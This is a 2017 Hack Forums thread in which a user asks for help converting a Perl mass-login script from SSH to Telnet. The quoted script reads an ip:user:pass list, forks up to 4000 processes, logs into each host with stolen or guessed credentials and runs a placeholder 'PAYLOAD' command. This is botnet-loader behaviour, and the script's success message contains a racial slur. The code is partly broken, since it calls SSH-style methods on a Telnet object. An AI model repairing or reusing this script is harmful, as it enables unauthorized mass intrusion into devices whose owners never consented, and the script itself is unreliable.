Hack Forums
[Perl] Anyone can help me to modify this script from ssh login to telnet login - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Coders Lounge (https://hackforums.net/forumdisplay.php?fid=5)
+---- Thread: [Perl] Anyone can help me to modify this script from ssh login to telnet login (/showthread.php?tid=5574704)



Anyone can help me to modify this script from ssh login to telnet login - SatanMei - Mar 14, 2017

A script I want to modify is cli.pl I try to modified it but idk why it not work

Default list of this script is user:pass:ip But I want to modify from ssh to telnet and edit list to ip:user:pass

Quote:#!/usr/bin/perl
use Net::Telnet; use Parallel::ForkManager;

$file = shift @ARGV;
open(fh, '<',$file) or die "Can't read file '$file' [$!]\n"; @newarray; while (<fh>){ @array = split(':',$_);
push(@newarray,@array);

}
my $pm = new Parallel::ForkManager(4000);
for (my $i=0; $i < scalar(@newarray); $i+=3) { //<-- But I think it have a problem at this line idk why
$pm->start and next;
$a = $i; //this is ip
$b = $i+1; //this is user
$c = $i+2; // this is password
$telnet = Net::Telnet->new();
if ($telnet->connect($newarray[$a])) {
if ($telnet->auth_password($newarray[$b],$newarray[$c])) {
$channel = $telnet->channel();
$channel->exec('PAYLOAD');
sleep 10;
$channel->close;
print "\e[37;1mNigga They Joining: ".$newarray[$a]."\n";
} else {
print "Maybe\n";
}
} else {
print "Box Broken\n";
}
$pm->finish;
}
$pm->wait_all_children;